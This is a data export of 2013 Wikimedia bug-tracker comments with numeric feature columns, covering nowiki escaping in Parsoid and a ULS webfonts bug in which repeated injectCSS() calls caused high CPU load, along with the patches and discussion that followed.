238182,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","I forgot whether I pointed this out or not: applying <nowiki> on ""normal"" text disabled language conversion on it too; we may want to <nowiki> wikitext meta characters only.",,,1373064371,,PHID-USER-zjzhrhmn36icnzbckqy4,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,8.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,13.0,5.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,3.8157894736842106,0.8421052631578947,"I forgot whether I pointed this out or not: applying <nowiki> on ""normal"" text disabled language conversion on it too; we may want to <nowiki> wikitext meta characters only."
238177,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Let us discuss more on irc monday, but the general problem of escaping minimal contexts can complicate the algorithm.  That said, we could implement some special cases maybe. 

Also, a lot of nowiki-tags (as in this example) looks ugly to me (personally), and could potentially induce greater grumbling among editors.  So, my suggestion is to minimize incidences of nowiki contexts via VE (however you do it) first, and then implement a version of this proposal in Parsoid after that.

Yet another (not fully thought out) alternative is to convert wikitext chars into HTML entities which eliminates nowikis altogether.  We currently use this entity-based solution when we have to escape pipes in url/ext. links in template arg contexts and can just use that more broadly.",,,1373064090,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,0,,0.5,0.0,1.5,0.0,0.5,3.0,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,3.5,0.0,10.5,11.0,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.5,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,11.5,1.0,2.5,0.0,2.5,0.5,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.5,0.5,0.0,2.0,1.0,5.0,0.5,2.5,7.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,4.5,11.0,4.0,0.0,0.0,0.0,4.5,0.0,1.5,1.0,1.0,0.5,1.5,0.0,0.0,4.160256410256411,0.8205128205128205,"Let us discuss more on irc monday, but the general problem of escaping minimal contexts can complicate the algorithm.  That said, we could implement some special cases maybe. 

Also, a lot of nowiki-tags (as in this example) looks ugly to me (personally), and could potentially induce greater grumbling among editors.  So, my suggestion is to minimize incidences of nowiki contexts via VE (however you do it) first, and then implement a version of this proposal in Parsoid after that.

Yet another (not fully thought out) alternative is to convert wikitext chars into HTML entities which eliminates nowikis altogether.  We currently use this entity-based solution when we have to escape pipes in url/ext. links in template arg contexts and can just use that more broadly."
52836,Loading a page which requires many fonts causes high CPU load,"see report here:
[[en:Wikipedia:Village_pump_(technical)#Heavy_Javascript_load_after_loading_some_articles.]] (bottom of [[en:WP:VPT]] on July 5 2013. if you don't find it there, look in the archives).

Initial debugging of the issue points to the function injectCSS().
as it turns out, ULS calls injectCSS() once for each required font, which, on some pages (methinks pages with many interwiki links, mainly) can be dozens of times.

apparently, on some browsers injectCSS() can be expensive (maybe the browser re-renders the whole page, in light of the new stylesheet information?) and calling it dozens of times causes high CPU load.

clearly, the right thing to do here is to collect all the different CSS bits and pieces you want to inject, and call injectCSS() exactly once.

this piece of code demonstrate what some people already know: injecting stuff can be habit forming, and can be bad for your health, so you absolutely want to minimize it.


(btw: the function itself is somewhat disgusting. how is it better than

function injectCSS( css ) {
	$( '<style>' , {type: 'text/css', rel: 'stylesheet' } )
	.text( css )
	.appendTo ('head' );
}

// really no need to return anything: the single callsite ignores 
// the return value anyway. anywho, you can prepend ""return"" 
// to make it behave more like existing code if you really want to...


peace.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=563037747#Heavy_Javascript_load_after_loading_some_articles.
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49935
https://bugzilla.wikimedia.org/show_bug.cgi?id=51073",High,80.0,1373056800,1379659587.0,PHID-USER-akv4ingxkspiiam6r2n4,False,,False,PHID-TASK-j7v3ex7edi7dypukus5m,task_description,resolved,True,c1,3,False,False,True,0,,1.5,0.25,0.25,0.0,0.25,4.25,1.0,0.0,0.0,0.5,0.75,2.25,0.0,0.25,0.0,0.0,0.0,5.5,7.75,0.25,1.75,0.0,0.0,0.0,0.0,0.25,0.0,0.0,1.25,0.0,0.25,3.5,1.25,1.75,0.25,1.5,0.0,0.25,0.5,0.25,0.25,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,15.25,0.0,0.25,0.25,0.75,0.25,0.0,0.0,0.0,0.75,0.0,0.25,0.5,0.0,0.25,0.0,0.0,0.25,2.75,1.75,4.5,1.0,1.0,4.75,0.0,0.0,0.0,0.0,4.5,0.0,0.75,0.0,3.25,7.75,1.5,0.25,2.5,0.0,3.25,0.0,0.75,0.0,0.25,1.0,0.5,0.5,3.25,3.544943820224719,0.6320224719101124,"see report here:
[[en:Wikipedia:Village_pump_(technical)#Heavy_Javascript_load_after_loading_some_articles.]] (bottom of [[en:WP:VPT]] on July 5 2013. if you don't find it there, look in the archives).

Initial debugging of the issue points to the function injectCSS().
as it turns out, ULS calls injectCSS() once for each required font, which, on some pages (methinks pages with many interwiki links, mainly) can be dozens of times.

apparently, on some browsers injectCSS() can be expensive (maybe the browser re-renders the whole page, in light of the new stylesheet information?) and calling it dozens of times causes high CPU load.

clearly, the right thing to do here is to collect all the different CSS bits and pieces you want to inject, and call injectCSS() exactly once.

this piece of code demonstrate what some people already know: injecting stuff can be habit forming, and can be bad for your health, so you absolutely want to minimize it.


(btw: the function itself is somewhat disgusting. how is it better than

function injectCSS( css ) {
	$( '<style>' , {type: 'text/css', rel: 'stylesheet' } )
	.text( css )
	.appendTo ('head' );
}

// really no need to return anything: the single callsite ignores 
// the return value anyway. anywho, you can prepend ""return"" 
// to make it behave more like existing code if you really want to...


peace.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL
**See Also**:
URL
URL"
238010,Loading a page which requires many fonts causes high CPU load,"(In reply to comment #21)
> It's resolved technically, 

Closing this one then,

> but we want to write proper documentation and
> tests
> for the fix. Assigning to myself.

and split this to bug 54364, to clarify status.",,,1379659587,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.176470588235294,0.6764705882352942,"(In reply to comment #21)
QUOTE

Closing this one then,

QUOTE
QUOTE
QUOTE

and split this to bug 54364, to clarify status."
238005,Loading a page which requires many fonts causes high CPU load,"What's the progress on this, Amir?",,,1375774753,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,1.0,"What's the progress on this, Amir?"
237998,Loading a page which requires many fonts causes high CPU load,"It's resolved technically, but we want to write proper documentation and tests for the fix. Assigning to myself.",,,1374249445,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,4.318181818181818,0.9090909090909091,"It's resolved technically, but we want to write proper documentation and tests for the fix. Assigning to myself."
237992,Loading a page which requires many fonts causes high CPU load,"Why is this still open?
as far as i can see, the patch solved the issue. is there any report about any more problems here? 
is anyone expected to do anything more regarding this issue? 
if it's not closed now, is there any chance of this getting closed ever?

peace.",,,1374249308,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,2,,5.0,3.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,13.0,8.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,8.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,2.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,0.0,6.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,3.0,3.0,0.0,0.0,3.4761904761904763,0.6825396825396826,"Why is this still open?
as far as i can see, the patch solved the issue. is there any report about any more problems here? 
is anyone expected to do anything more regarding this issue? 
if it's not closed now, is there any chance of this getting closed ever?

peace."
237987,Loading a page which requires many fonts causes high CPU load,"What about using .eachAsync (https://git.wikimedia.org/blob/mediawiki%2Fcore.git/HEAD/resources%2Fjquery%2Fjquery.async.js) instead of the .each loop over $( '*[lang], [style], [class]' ) ? Perhaps this is not the solution for this bug, but for bug 49935, but I'm not going to read through all those comments, and I think the .eachAsync is worth a try.",,,1373615617,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,1.0,0.0,0.0,0.0,3.0,1.0,3.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,3.0,0.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,7.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,10.0,1.0,1.0,3.0,0.0,3.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,7.0,3.1791044776119404,0.7014925373134329,"What about using .eachAsync (URL instead of the .each loop over $( '*[lang], [style], [class]' ) ? Perhaps this is not the solution for this bug, but for bug 49935, but I'm not going to read through all those comments, and I think the .eachAsync is worth a try."
237980,Loading a page which requires many fonts causes high CPU load,*** Bug 51070 has been marked as a duplicate of this bug. ***,,,1373495384,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51070 has been marked as a duplicate of this bug. ***
237974,Loading a page which requires many fonts causes high CPU load,"The above patch makes the webfonts code about 4x faster in my testing. While it is an improvement, it does not completely remove the problem. To go further we need to reconsider the logic instead of just optimizing the current code.

This patch is already on beta labs, can be tested for example in http://en.wikipedia.beta.wmflabs.org/wiki/Barack_Obama and is planned for deployment around 1800 UTC today.",,,1373472779,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,1.0,3.0,1.0,3.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,1.0,10.0,15.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,8.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,4.126760563380282,0.8028169014084507,"The above patch makes the webfonts code about 4x faster in my testing. While it is an improvement, it does not completely remove the problem. To go further we need to reconsider the logic instead of just optimizing the current code.

This patch is already on beta labs, can be tested for example in URL and is planned for deployment around 1800 UTC today."
237969,Loading a page which requires many fonts causes high CPU load,"Change 72967 merged by jenkins-bot:
Update jquery.webfonts from upstream

https://gerrit.wikimedia.org/r/72967",,,1373471100,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.133333333333334,1.0,"Change 72967 merged by jenkins-bot:
Update jquery.webfonts from upstream

GERRIT_URL"
237963,Loading a page which requires many fonts causes high CPU load,"Change 72967 had a related patch set uploaded by Amire80:
Update jquery.webfonts from upstream

https://gerrit.wikimedia.org/r/72967",,,1373470044,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.222222222222222,1.0,"Change 72967 had a related patch set uploaded by Amire80:
Update jquery.webfonts from upstream

GERRIT_URL"
237956,Loading a page which requires many fonts causes high CPU load,"(In reply to comment #9)
> SpeedyGonsales: This bug report is specifically and only about ""Loading a
> page
> which requires many fonts causes high CPU load"". If you want to generally
> talk
> about ""preferences for new things"" or what MediaWiki should be, please do
> that
> on some forum or Village Pump. Thanks for your understanding.

it is unfortunate that ""some forum or village pump"" where the people responsible for the content of wikimedia deployment are actually listening, does not exist.

there is another bug on bugzilla ( bug 46306 ), requesting/demanding a kill switch for ULS. this bug was closed with ""resolved/wontfix"".

yet another open bug ( bug 51070 ) is requesting/demanding to disable ULS on enwiki. this one was not closed with ""wontfix"", but could have been just as well.

so complaining about these demands/requests spilling into other bug reports is somewhat unfair, IMO.

peace.",,,1373462060,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,0.5,0.0,0.0,1.5,1.0,3.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,2.0,7.0,7.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.5,3.5,0.0,0.5,2.5,0.0,0.0,0.0,2.0,4.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,13.5,0.0,2.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,5.0,6.0,1.0,1.0,5.5,0.0,0.0,0.0,0.5,2.5,0.0,1.5,0.0,0.5,7.5,5.0,0.0,4.0,0.0,0.5,0.0,0.5,0.5,0.0,4.5,0.0,0.0,0.0,3.8179773082942097,0.699237089201878,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

it is unfortunate that ""some forum or village pump"" where the people responsible for the content of wikimedia deployment are actually listening, does not exist.

there is another bug on bugzilla ( bug 46306 ), requesting/demanding a kill switch for ULS. this bug was closed with ""resolved/wontfix"".

yet another open bug ( bug 51070 ) is requesting/demanding to disable ULS on enwiki. this one was not closed with ""wontfix"", but could have been just as well.

so complaining about these demands/requests spilling into other bug reports is somewhat unfair, IMO.

peace."
237947,Loading a page which requires many fonts causes high CPU load,"Just a note that the Language Engineering team responsible for ULS will be holding an office hour later today, at 17:00 UTC on
#wikimedia-office (on Freenode): http://www.mail-archive.com/wikitech-l@lists.wikimedia.org/msg69718.html",,,1373455470,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,26.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,21.0,3.0,0.0,9.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,15.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,4.0588235294117645,0.9411764705882353,"Just a note that the Language Engineering team responsible for ULS will be holding an office hour later today, at 17:00 UTC on
#wikimedia-office (on Freenode): URL"
237939,Loading a page which requires many fonts causes high CPU load,Also reported at pl.wp: https://pl.wikipedia.org/wiki/Wikipedia:Kawiarenka/Kwestie_techniczne#Ostrze.C5.BCenie:_Skrypt_nie_odpowiada,,,1373454616,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,Also reported at pl.wp: URL
237933,Loading a page which requires many fonts causes high CPU load,"Eduard: I can understand frustration, but no need for rhetorical questions, plus ""I wasn't heard in the right place, so I tried again in some other, wrong place"" is not a good argument.
Tools (like bugtrackers, mailing lists, Gerrit) serve purposes and have dedicated audiences. Bugzilla is a technical bugtracker for bug reports that refer to specific codebases. It's not for meta-level discussions on development policies, plus from experience in other open source projects I can assure you that the more comments unrelated to a bug there are in bug reports, the more devs will (understandably) also start ignoring bugmail and bug reports. I assume that's not wanted by anybody, and that's why I explained how to avoid that.",,,1373452499,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,0.5,0.5,0.0,0.5,2.5,8.0,1.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.5,3.5,0.0,6.0,10.5,0.5,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,0.5,0.0,6.5,1.5,0.5,3.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.5,3.5,0.0,0.0,0.0,0.5,0.0,15.0,2.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.5,1.0,3.5,2.0,6.0,2.0,3.5,6.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,10.5,1.0,0.0,1.0,0.0,5.0,0.0,2.0,1.5,0.0,0.5,1.5,0.0,0.0,4.142817475009256,0.7685116623472787,"Eduard: I can understand frustration, but no need for rhetorical questions, plus ""I wasn't heard in the right place, so I tried again in some other, wrong place"" is not a good argument.
Tools (like bugtrackers, mailing lists, Gerrit) serve purposes and have dedicated audiences. Bugzilla is a technical bugtracker for bug reports that refer to specific codebases. It's not for meta-level discussions on development policies, plus from experience in other open source projects I can assure you that the more comments unrelated to a bug there are in bug reports, the more devs will (understandably) also start ignoring bugmail and bug reports. I assume that's not wanted by anybody, and that's why I explained how to avoid that."
237927,Loading a page which requires many fonts causes high CPU load,"Since one is ignored ""on some forum or Village Pump"" (*) one tries other ways to voice one's opinion. Is it surprising that people then try it on Bugzilla where one has at least slight chances a dev will peek at one's message an comment on them?

* e.g. http://www.mediawiki.org/wiki/Thread:Talk:Universal_Language_Selector/Disabling_ULS or http://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#.22Opt_out.22_of_VE_needed_under_preferences",,,1373448080,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,2.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,8.0,13.0,7.0,2.0,3.0,0.0,8.0,0.0,2.0,3.0,2.0,0.0,0.0,2.0,0.0,3.5081967213114753,0.7868852459016393,"Since one is ignored ""on some forum or Village Pump"" (*) one tries other ways to voice one's opinion. Is it surprising that people then try it on Bugzilla where one has at least slight chances a dev will peek at one's message an comment on them?

* e.g. URL or URL"
237921,Loading a page which requires many fonts causes high CPU load,"(In reply to comment #8)

SpeedyGonsales: This bug report is specifically and only about ""Loading a page which requires many fonts causes high CPU load"". If you want to generally talk about ""preferences for new things"" or what MediaWiki should be, please do that on some forum or Village Pump. Thanks for your understanding.",,,1373447177,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,14.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,5.0,3.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,3.0,15.0,2.0,5.0,8.0,0.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,3.0,14.0,6.0,0.0,6.0,0.0,3.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,4.121212121212121,0.8636363636363636,"(In reply to comment #8)

SpeedyGonsales: This bug report is specifically and only about ""Loading a page which requires many fonts causes high CPU load"". If you want to generally talk about ""preferences for new things"" or what MediaWiki should be, please do that on some forum or Village Pump. Thanks for your understanding."
237915,Loading a page which requires many fonts causes high CPU load,"If you ask me having ""disable switch"" (""kill switch"") in user preferences is a
must for almost any new things in MediaWiki UI.

If we are unable to alter closed OS (e.g. Windows or Mac) but are able to alter 
open source one (Linux), MediaWiki should be smart and offer ""disable switches"" 
for new things. ULS is a good idea, but the same way I like to have ""kill 
switch"" for VisualEditor :) (""Remove VisualEditor from the user interface"" in Gadgets), I agree there should be one for ULS, period.",,,1373439569,,PHID-USER-3hahyxmftu2sew3v6v6w,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,0.5,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,1.0,2.5,0.0,0.0,0.5,1.0,2.5,0.0,1.0,8.5,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.0,4.0,11.0,1.0,2.5,3.5,0.0,1.0,0.0,0.0,6.5,0.0,1.5,0.0,3.0,8.5,7.0,0.0,7.0,0.0,3.0,0.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,3.416666666666667,0.7333333333333334,"If you ask me having ""disable switch"" (""kill switch"") in user preferences is a
must for almost any new things in MediaWiki UI.

If we are unable to alter closed OS (e.g. Windows or Mac) but are able to alter 
open source one (Linux), MediaWiki should be smart and offer ""disable switches"" 
for new things. ULS is a good idea, but the same way I like to have ""kill 
switch"" for VisualEditor :) (""Remove VisualEditor from the user interface"" in Gadgets), I agree there should be one for ULS, period."
237910,Loading a page which requires many fonts causes high CPU load,"(In reply to comment #5)
> ULS contains quite a lot of new JavaScript and CSS code, so it is reasonable
> to
> expect that a close scrutiny of the code will reveal some measure of
> duplicate
